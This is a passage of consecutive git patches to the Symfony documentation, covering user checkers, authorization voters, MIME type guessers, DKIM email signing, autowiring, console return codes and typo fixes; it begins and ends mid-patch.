                 return;
             }
 
-            // user is deleted, show a generic Account Not Found message.
             if ($user->isDeleted()) {
-                throw new AccountDeletedException();
+                // the message passed to this exception is meant to be displayed to the user
+                throw new CustomUserMessageAccountStatusException('Your user account no longer exists.');
             }
         }
 
@@ -54,6 +56,10 @@ or :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationExceptio
         }
     }
 
+.. versionadded:: 5.1
+
+    The ``CustomUserMessageAccountStatusException`` class was introduced in Symfony 5.1.
+
 Enabling the Custom User Checker
 --------------------------------
 

From 8016f84dc88a4d6e938fba578fc2d1a12ad3c24b Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Sat, 13 Jun 2020 20:24:24 +0200
Subject: [PATCH 0853/7107] Update authorization.rst

use getRoleNames in Symfony 5.0 instead of getRoles()
---
 components/security/authorization.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index b12d69ebc6f..3fa646c85af 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -19,7 +19,7 @@ by an instance of :class:`Symfony\\Component\\Security\\Core\\Authorization\\Acc
 An authorization decision will always be based on a few things:
 
 * The current token
-    For instance, the token's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface::getRoles`
+    For instance, the token's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface::getRoleNames`
     method may be used to retrieve the roles of the current user (e.g.
     ``ROLE_SUPER_ADMIN``), or a decision may be based on the class of the token.
 * A set of attributes

From d6757d98fb9ecef10d842852379c1eb28616950d Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sun, 14 Jun 2020 14:30:49 +0200
Subject: [PATCH 0854/7107] Fill out custom type guesser paragraph

---
 components/mime.rst | 51 ++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 50 insertions(+), 1 deletion(-)

diff --git a/components/mime.rst b/components/mime.rst
index dd20b62f02d..01d50e9ee36 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -276,7 +276,7 @@ that extension to improve the guessing performance.
 Adding a MIME Type Guesser
 ..........................
 
-You can register your own MIME type guesser by creating a class that implements
+You can write your own MIME type guesser by creating a class that implements
 :class:`Symfony\\Component\\Mime\\MimeTypeGuesserInterface`::
 
     namespace App;
@@ -300,6 +300,55 @@ You can register your own MIME type guesser by creating a class that implements
         }
     }
 
+And registering it::
+
+    $mimeTypes = new MimeTypes();
+    $mimeTypes->registerGuesser(new SomeMimeTypeGuesser());
+
+When using the Symfony fullstack Framework, you just need to add the ``mime.mime_type_guesser`` tag:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\SomeMimeTypeGuesser:
+                tags: [mime.mime_type_guesser]
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\SomeMimeTypeGuesser">
+                     <tag name="mime.mime_type_guesser"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\SomeMimeTypeGuesser;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(SomeMimeTypeGuesser::class)
+                ->tag('mime.mime_type_guesser');
+        };
+
+Note that this is already done for you if you use the :ref:`default services.yaml configuration <service-container-services-load-example>`
+thanks to :ref:`autoconfigure <services-autoconfigure>`.
+
 .. _`MIME`: https://en.wikipedia.org/wiki/MIME
 .. _`MIME types`: https://en.wikipedia.org/wiki/Media_type
 .. _`fileinfo extension`: https://www.php.net/fileinfo

From 2e32d45b6052c29d99303279fb88436d7cf04bdb Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sun, 14 Jun 2020 15:03:15 +0200
Subject: [PATCH 0855/7107] Add documentation about data collectors late
 collect

---
 profiler/data_collector.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 0898d4d81f9..c18431ab38c 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -79,6 +79,10 @@ request::
     :doc:`/testing/profiling`) so it's recommended to return a string which is
     short, lowercase and without white spaces.
 
+Note that the data collect is triggered belatedly during the :ref:`kernel.response <component-http-kernel-kernel-response>` event. If you need to collect data that is only available
+later, you should implement :class:`Symfony\\Component\\HttpKernel\\DataCollector\\LateDataCollectorInterface` and its :method:`Symfony\\Component\\HttpKernel\\DataCollector\\LateDataCollectorInterface::lateCollect` method which is invoked just before
+the profiler data serialization (during :ref:`kernel.terminate <component-http-kernel-kernel-terminate>` phase).
+
 .. _data_collector_tag:
 
 Enabling Custom Data Collectors

From f4e9d00b4e060170bddd802aad2241d8b10f7145 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Sun, 14 Jun 2020 16:35:44 +0200
Subject: [PATCH 0856/7107] Update voters.rst

---
 security/voters.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index a01fcb463a0..83fdd62fc24 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -44,8 +44,8 @@ which makes creating a voter even easier::
 
     abstract class Voter implements VoterInterface
     {
-        abstract protected function supports($attribute, $subject);
-        abstract protected function voteOnAttribute($attribute, $subject, TokenInterface $token);
+        abstract protected function supports(string $attribute, $subject);
+        abstract protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token);
     }
 
 .. _how-to-use-the-voter-in-a-controller:

From d18a8958ccddfb4536d6659ba7e7c4d7ee90ffcb Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Sun, 14 Jun 2020 19:55:57 +0200
Subject: [PATCH 0857/7107] Update TypeHint Serializer.rst

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index a64fc88dd87..b334d28d99c 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -463,12 +463,12 @@ A custom name converter can handle such cases::
 
     class OrgPrefixNameConverter implements NameConverterInterface
     {
-        public function normalize($propertyName)
+        public function normalize(string $propertyName)
         {
             return 'org_'.$propertyName;
         }
 
-        public function denormalize($propertyName)
+        public function denormalize(string $propertyName)
         {
             // removes 'org_' prefix
             return 'org_' === substr($propertyName, 0, 4) ? substr($propertyName, 4) : $propertyName;

From eb3f7184dc673f9774dc26509451046731390cca Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Sun, 14 Jun 2020 10:42:26 +0200
Subject: [PATCH 0858/7107] Update filesystem.rst

---
 components/filesystem.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 2b04dde4924..e27a0b64684 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -193,6 +193,8 @@ of a single file or directory::
     $filesystem->rename('/tmp/processed_video.ogg', '/path/to/store/video_647.ogg');
     // renames a directory
     $filesystem->rename('/tmp/files', '/path/to/store/files');
+    // if the target already exists, a third boolean argument is available to overwrite.
+    $filesystem->rename('/tmp/processed_video2.ogg', '/path/to/store/video_647.ogg', true);
 
 ``symlink``
 ~~~~~~~~~~~

From 783568723496f49aad480a6884296c6fd339f07a Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Sat, 13 Jun 2020 20:32:25 +0200
Subject: [PATCH 0859/7107] Update authorization.rst

---
 components/security/authorization.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index 7290f3bf503..ff591d414c1 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -47,7 +47,7 @@ recognizes several strategies:
     grant access if there are more voters granting access than there are denying;
 
 ``unanimous``
-    only grant access if none of the voters has denied access;
+    only grant access if none of the voters has denied access. If all voters abstained from voting, the decision is based on the ``allow_if_all_abstain`` config option (which defaults to ``false``);
 
 Usage of the available options in detail::
 

From d270ebdfabdfce679b708b0df8a5a9a5809d6bec Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Jun 2020 09:13:31 +0200
Subject: [PATCH 0860/7107] Minor tweak

---
 components/security/authorization.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index ff591d414c1..edd7eb857fa 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -47,7 +47,9 @@ recognizes several strategies:
     grant access if there are more voters granting access than there are denying;
 
 ``unanimous``
-    only grant access if none of the voters has denied access. If all voters abstained from voting, the decision is based on the ``allow_if_all_abstain`` config option (which defaults to ``false``);
+    only grant access if none of the voters has denied access. If all voters
+    abstained from voting, the decision is based on the ``allow_if_all_abstain``
+    config option (which defaults to ``false``).
 
 Usage of the available options in detail::
 

From e21f236c8f24994b6d2c1b13d60729e11632860d Mon Sep 17 00:00:00 2001
From: Dispositif <dispositif@gmail.com>
Date: Sun, 14 Jun 2020 02:10:06 +0200
Subject: [PATCH 0861/7107] Add compatible type-hinting

Declaration must be compatible with NormalizerInterface
---
 serializer/custom_normalizer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 9f2e50fdcf1..9893db60488 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -35,7 +35,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
             $this->normalizer = $normalizer;
         }
 
-        public function normalize($topic, $format = null, array $context = [])
+        public function normalize($topic, string $format = null, array $context = [])
         {
             $data = $this->normalizer->normalize($topic, $format, $context);
 
@@ -47,7 +47,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
             return $data;
         }
 
-        public function supportsNormalization($data, $format = null, array $context = [])
+        public function supportsNormalization($data, string $format = null, array $context = [])
         {
             return $data instanceof Topic;
         }

From a9d56c3c92c8cded4fb72115325c0e1b857196b4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Jun 2020 09:53:56 +0200
Subject: [PATCH 0862/7107] Minor tweaks

---
 profiler/data_collector.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index c18431ab38c..edbc40a481e 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -79,9 +79,11 @@ request::
     :doc:`/testing/profiling`) so it's recommended to return a string which is
     short, lowercase and without white spaces.
 
-Note that the data collect is triggered belatedly during the :ref:`kernel.response <component-http-kernel-kernel-response>` event. If you need to collect data that is only available
-later, you should implement :class:`Symfony\\Component\\HttpKernel\\DataCollector\\LateDataCollectorInterface` and its :method:`Symfony\\Component\\HttpKernel\\DataCollector\\LateDataCollectorInterface::lateCollect` method which is invoked just before
-the profiler data serialization (during :ref:`kernel.terminate <component-http-kernel-kernel-terminate>` phase).
+The ``collect()`` method is called during the :ref:`kernel.response <component-http-kernel-kernel-response>`
+event. If you need to collect data that is only available later, implement
+:class:`Symfony\\Component\\HttpKernel\\DataCollector\\LateDataCollectorInterface`
+and define the ``lateCollect()`` method, which is invoked just before the profiler
+data serialization (during :ref:`kernel.terminate <component-http-kernel-kernel-terminate>` event).
 
 .. _data_collector_tag:
 

From 841c2f64235e188f20f36b571873d8ccab2cedf1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Jun 2020 17:22:55 +0200
Subject: [PATCH 0863/7107] [Mime] Document the DKIM signer

---
 mailer.rst | 75 ++++++++++++++++++++++++++++++++++++++++++++----------
 1 file changed, 61 insertions(+), 14 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 9ddc86910f1..22a73573ab5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -569,15 +569,20 @@ directly from GitHub and save it in ``assets/css``.
 Signing and Encrypting Messages
 -------------------------------
 
-It's possible to sign and/or encrypt email messages applying the `S/MIME`_
-standard to increase their integrity/security. Both options can be combined to
-encrypt a signed message and/or to sign an encrypted message.
+It's possible to sign and/or encrypt email messages to increase their
+integrity/security. Both options can be combined to encrypt a signed message
+and/or to sign an encrypted message.
 
 Before signing/encrypting messages, make sure to have:
 
 * The `OpenSSL PHP extension`_ properly installed and configured;
 * A valid `S/MIME`_ security certificate.
 
+.. tip::
+
+    When using OpenSSL to generate certificates, make sure to add the
+    ``-addtrust emailProtection`` command option.
+
 Signing Messages
 ~~~~~~~~~~~~~~~~
 
@@ -586,7 +591,19 @@ of the message (including attachments). This hash is added as an attachment so
 the recipient can validate the integrity of the received message. However, the
 contents of the original message are still readable for mailing agents not
 supporting signed messages, so you must also encrypt the message if you want to
-hide its contents::
+hide its contents.
+
+You can sign messages using either ``S/MIME`` or ``DKIM``. In both cases, the
+certificate and private key must be `PEM encoded`_, and can be either created
+using for example OpenSSL or obtained at an official Certificate Authority (CA).
+The email recipient must have the CA certificate in the list of trusted issuers
+in order to verify the signature.
+
+S/MIME Signer
+.............
+
+`S/MIME`_ is a standard for public key encryption and signing of MIME data. It
+requires using both a certificate and a private key:
 
     use Symfony\Component\Mime\Crypto\SMimeSigner;
     use Symfony\Component\Mime\Email;
@@ -603,22 +620,51 @@ hide its contents::
     $signedEmail = $signer->sign($email);
     // now use the Mailer component to send this $signedEmail instead of the original email
 
-The certificate and private key must be `PEM encoded`_, and can be either
-created using for example OpenSSL or obtained at an official Certificate
-Authority (CA). The email recipient must have the CA certificate in the list of
-trusted issuers in order to verify the signature.
-
-.. tip::
-
-    When using OpenSSL to generate certificates, make sure to add the
-    ``-addtrust emailProtection`` command option.
-
 .. tip::
 
     The ``SMimeSigner`` class defines other optional arguments to pass
     intermediate certificates and to configure the signing process using a
     bitwise operator options for :phpfunction:`openssl_pkcs7_sign` PHP function.
 
+DKIM Signer
+...........
+
+`DKIM`_ is an email authentication method that affixes a digital signature,
+linked to a domain name, to each outgoing email messages. It requires a private
+key but not a certificate::
+
+    use Symfony\Component\Mime\Crypto\DkimSigner;
+    use Symfony\Component\Mime\Email;
+
+    $email = (new Email())
+        ->from('hello@example.com')
+        // ...
+        ->html('...');
+
+    // first argument: string with the contents or the absolute path of the private key
+    // second and third arguments: the domain name and "selector" used to perform a DNS lookup
+    // (the selector is a string used to point to a specific DKIM public key record in your DNS)
+    $signer = new DkimSigner('/path/to/private-key.key', 'example.com', 'sf');
+    // if the private key has a passphrase, pass it as the fourth argument
+    // new DkimSigner('/path/to/private-key.key', 'example.com', 'sf', [], 'the-passphrase');
+
+    $signedEmail = $signer->sign($email);
+    // now use the Mailer component to send this $signedEmail instead of the original email
+
+    // DKIM signer provides many config options and a helper object to configure them
+    use Symfony\Component\Mime\Crypto\DkimOptions;
+
+    $signedEmail = $signer->sign($email, (new DkimOptions())
+        ->bodyCanon('relaxed')
+        ->headerCanon('relaxed')
+        ->headersToIgnore(['Message-ID'])
+        ->toArray()
+    );
+
+.. versionadded:: 5.2
+
+    The DKIM signer was introduced in Symfony 5.2.
+
 Encrypting Messages
 ~~~~~~~~~~~~~~~~~~~
 
@@ -824,5 +870,6 @@ a specific address, instead of the *real* address:
 .. _`Markdown syntax`: https://commonmark.org/
 .. _`Inky`: https://get.foundation/emails/docs/inky.html
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
+.. _`DKIM`: `https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
 .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail

From 4483d0abe9255819165c6f301747d3b612e6fb8f Mon Sep 17 00:00:00 2001
From: Kamil Kubicki <contact@kamil-kubicki.com>
Date: Mon, 15 Jun 2020 10:04:03 +0200
Subject: [PATCH 0864/7107] Update direct_submit.rst

Missing variable update
---
 form/direct_submit.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 44cbfec0f65..ef6897611ad 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -15,6 +15,7 @@ control over when exactly your form is submitted and what data is passed to it::
 
     public function new(Request $request)
     {
+        $task = new Task();
         $form = $this->createForm(TaskType::class, $task);
 
         if ($request->isMethod('POST')) {

From b731bd29c29c4871fe59ad1691d244f8cad61e98 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Jun 2020 12:12:06 +0200
Subject: [PATCH 0865/7107] Fixed the first argument of DkimSigner

---
 mailer.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 22a73573ab5..8c7b1702e5d 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -641,12 +641,13 @@ key but not a certificate::
         // ...
         ->html('...');
 
-    // first argument: string with the contents or the absolute path of the private key
+    // first argument: same as openssl_pkey_get_private(), either a string with the
+    // contents of the private key or the absolute path to it (prefixed with 'file://')
     // second and third arguments: the domain name and "selector" used to perform a DNS lookup
     // (the selector is a string used to point to a specific DKIM public key record in your DNS)
-    $signer = new DkimSigner('/path/to/private-key.key', 'example.com', 'sf');
+    $signer = new DkimSigner('file:///path/to/private-key.key', 'example.com', 'sf');
     // if the private key has a passphrase, pass it as the fourth argument
-    // new DkimSigner('/path/to/private-key.key', 'example.com', 'sf', [], 'the-passphrase');
+    // new DkimSigner('file:///path/to/private-key.key', 'example.com', 'sf', [], 'the-passphrase');
 
     $signedEmail = $signer->sign($email);
     // now use the Mailer component to send this $signedEmail instead of the original email

From 081be3b43ed7748293b06c4007fc808463f6362f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Jun 2020 13:06:53 +0200
Subject: [PATCH 0866/7107] Minor reword

---
 components/mime.rst | 55 +++++----------------------------------------
 1 file changed, 6 insertions(+), 49 deletions(-)

diff --git a/components/mime.rst b/components/mime.rst
index 6a115e825fb..0d29ca4458c 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -276,7 +276,7 @@ that extension to improve the guessing performance.
 Adding a MIME Type Guesser
 ..........................
 
-You can write your own MIME type guesser by creating a class that implements
+You can add your own MIME type guesser by creating a class that implements
 :class:`Symfony\\Component\\Mime\\MimeTypeGuesserInterface`::
 
     namespace App;
@@ -300,54 +300,11 @@ You can write your own MIME type guesser by creating a class that implements
         }
     }
 
-And registering it::
-
-    $mimeTypes = new MimeTypes();
-    $mimeTypes->registerGuesser(new SomeMimeTypeGuesser());
-
-When using the Symfony fullstack Framework, you just need to add the ``mime.mime_type_guesser`` tag:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            App\SomeMimeTypeGuesser:
-                tags: [mime.mime_type_guesser]
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="App\SomeMimeTypeGuesser">
-                     <tag name="mime.mime_type_guesser"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\SomeMimeTypeGuesser;
-
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
-
-            $services->set(SomeMimeTypeGuesser::class)
-                ->tag('mime.mime_type_guesser');
-        };
-
-Note that this is already done for you if you use the :ref:`default services.yaml configuration <service-container-services-load-example>`
-thanks to :ref:`autoconfigure <services-autoconfigure>`.
+MIME type guessers must be :ref:`registered as services <service-container-creating-service>`
+and :doc:`tagged </service_container/tags>` with the ``mime.mime_type_guesser`` tag.
+If you're using the
+:ref:`default services.yaml configuration <service-container-services-load-example>`,
+this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
 
 .. _`MIME`: https://en.wikipedia.org/wiki/MIME
 .. _`MIME types`: https://en.wikipedia.org/wiki/Media_type

From 345196443240574da475b46aeb6afeff150a4160 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 15 Jun 2020 22:55:30 +0200
Subject: [PATCH 0867/7107] Add public typed properties autowiring

---
 service_container/autowiring.rst      | 25 +++++++++++++++++++++++--
 service_container/injection_types.rst |  2 ++
 2 files changed, 25 insertions(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index f3fd75d8b54..6c8957f1bb6 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -530,8 +530,8 @@ You wire up the difficult arguments, Symfony takes care of the rest.
 
 .. _autowiring-calls:
 
-Autowiring other Methods (e.g. Setters)
----------------------------------------
+Autowiring other Methods (e.g. Setters and Public Typed Properties)
+-------------------------------------------------------------------
 
 When autowiring is enabled for a service, you can *also* configure the container
 to call methods on your class when it's instantiated. For example, suppose you want
@@ -562,6 +562,27 @@ Autowiring will automatically call *any* method with the ``@required`` annotatio
 above it, autowiring each argument. If you need to manually wire some of the arguments
 to a method, you can always explicitly :doc:`configure the method call </service_container/calls>`.
 
+Despite property injection has some :ref:`drawbacks <property-injection>`, autowiring with ``@required`` annotation
+can also be applied to public typed properties::
+
+    namespace App\Util;
+
+    class Rot13Transformer
+    {
+        /** @required */
+        public LoggerInterface $logger;
+
+        public function transform($value)
+        {
+            $this->logger->info('Transforming '.$value);
+            // ...
+        }
+    }
+
+.. versionadded:: 5.1
+
+    Public typed properties autowiring was introduced in Symfony 5.1.
+
 Autowiring Controller Action Methods
 ------------------------------------
 
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index b0b59ee8ea8..df71fa9cfdb 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -295,6 +295,8 @@ The disadvantages of setter injection are:
 * You cannot be sure the setter will be called and so you need to add checks
   that any required dependencies are injected.
 
+.. _property-injection:
+
 Property Injection
 ------------------
 

From cd71bb0759ba16d3614bafdc3fc6eb775382c50f Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Tue, 16 Jun 2020 22:16:41 +0200
Subject: [PATCH 0868/7107] Update input.rst

---
 console/input.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/console/input.rst b/console/input.rst
index b0633d8d210..a5851c58564 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -52,6 +52,8 @@ You now have access to a ``last_name`` argument in your command::
             }
 
             $output->writeln($text.'!');
+            
+            return 0;
         }
     }
 

From 3ea5c002b660a4954e5e0701bb43736d9689ec8e Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <jacob@hdreesen.de>
Date: Wed, 17 Jun 2020 08:21:28 +0200
Subject: [PATCH 0869/7107] Add missing dot at the end of a sentence

---
 components/cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache.rst b/components/cache.rst
index 700cfcb8448..34adf588de6 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -97,7 +97,7 @@ spends 5 seconds to compute data that is cached for 1 hour and this data is acce
 is fine. But after 1 hour, we get 10 new requests to a cold cache. So the data
 is computed again. The next second the same thing happens. So the data is computed
 about 50 times before the cache is warm again. This is where you need stampede
-prevention
+prevention.
 
 The first solution is to use locking: only allow one PHP process (on a per-host basis)
 to compute a specific key at a time. Locking is built-in by default, so

From f125a42533a017a233481c52121f538fcb2db2a7 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Tue, 16 Jun 2020 12:17:07 +0200
Subject: [PATCH 0870/7107] Replaced orphan " and" at the end of the sentence
 by a dot

---
 components/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 2b662f6babf..e89441e6a08 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -336,7 +336,7 @@ Dispatch the Event
 The :method:`Symfony\\Component\\EventDispatcher\\EventDispatcher::dispatch`
 method notifies all listeners of the given event. It takes two arguments:
 the ``Event`` instance to pass to each listener of that event and the name
-of the event to dispatch and ::
+of the event to dispatch::
 
     use Acme\Store\Event\OrderPlacedEvent;
     use Acme\Store\Order;

From ee696eaeb5220d38197614988892031e08568b88 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Tue, 16 Jun 2020 00:10:37 +0200
Subject: [PATCH 0871/7107] Update serializer.rst

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index d711a1b5993..704a8d6ff2e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1257,7 +1257,7 @@ These are the options available:
     Sets the root node name (default: ``response``).
 
 ``remove_empty_tags``
-    If set to true, removes all empty tags in the generated XML.
+    If set to true, removes all empty tags in the generated XML (default: ``false``).
 
 Handling Constructor Arguments
 ------------------------------

From ebddfc83f1396693a1cbfe60a1fa63156f2a9cb0 Mon Sep 17 00:00:00 2001
From: Axel Guckelsberger <info@guite.de>
Date: Tue, 16 Jun 2020 16:33:05 +0200
Subject: [PATCH 0872/7107] corrected argument type

the 2nd argument is required to be a string
---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index be25ccc434d..10d77837e48 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -620,7 +620,7 @@ place::
             // Block the transition "publish" if it is more than 8 PM
             // with the message for end user
             $explanation = $event->getMetadata('explanation', $eventTransition);
-            $event->addTransitionBlocker(new TransitionBlocker($explanation , 0));
+            $event->addTransitionBlocker(new TransitionBlocker($explanation , '0'));
         }
 
         public static function getSubscribedEvents()

From 920609bc8fe8b75fca4484b7248c6d8affc9efd2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jun 2020 12:27:22 +0200
Subject: [PATCH 0873/7107] Use constants for the command status code

---
 components/console/helpers/questionhelper.rst | 2 +-
 console/commands_as_services.rst              | 4 ++--
 console/input.rst                             | 4 ++--
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 5115a510a37..e2c5898fa49 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -40,7 +40,7 @@ the following to your command::
             $question = new ConfirmationQuestion('Continue with this action?', false);
 
             if (!$helper->ask($input, $output, $question)) {
-                return 0;
+                return Command::SUCCESS;
             }
         }
     }
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index 70664d548ea..9b1e19ac8eb 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -45,8 +45,8 @@ For example, suppose you want to log something from within your command::
         {
             $this->logger->info('Waking up the sun');
             // ...
-            
-            return 0;
+
+            return Command::SUCCESS;
         }
     }
 
diff --git a/console/input.rst b/console/input.rst
index a5851c58564..9bf8d00d4c6 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -52,8 +52,8 @@ You now have access to a ``last_name`` argument in your command::
             }
 
             $output->writeln($text.'!');
-            
-            return 0;
+
+            return Command::SUCCESS;
         }
     }
 

From 7f06f20b9a2b94ea4d485d07c559aac79d9d75e5 Mon Sep 17 00:00:00 2001
From: "heddi.nabbisen" <nabbisen@scqr.net>
Date: Wed, 17 Jun 2020 17:52:05 +0900
Subject: [PATCH 0874/7107] fix typo

---
 frontend/encore/simple-example.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 87853ccf2e5..3246e63da25 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -50,7 +50,7 @@ of your project. It already holds the basic config you need:
 
     // ...
 
-They *key* part is ``addEntry()``: this tells Encore to load the ``assets/js/app.js``
+The *key* part is ``addEntry()``: this tells Encore to load the ``assets/js/app.js``
 file and follow *all* of the ``require()`` statements. It will then package everything
 together and - thanks to the first ``app`` argument - output final ``app.js`` and
 ``app.css`` files into the ``web/build`` directory.

From 77b5690b8ada406b7620a4a2d1ed70a561b0ca6e Mon Sep 17 00:00:00 2001
From: "heddi.nabbisen" <nabbisen@scqr.net>
Date: Wed, 17 Jun 2020 20:26:41 +0900
Subject: [PATCH 0875/7107] corrected tags order

---
 frontend/encore/split-chunks.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst
index a86686b6b14..ebaa4ee48ce 100644
--- a/frontend/encore/split-chunks.rst
+++ b/frontend/encore/split-chunks.rst
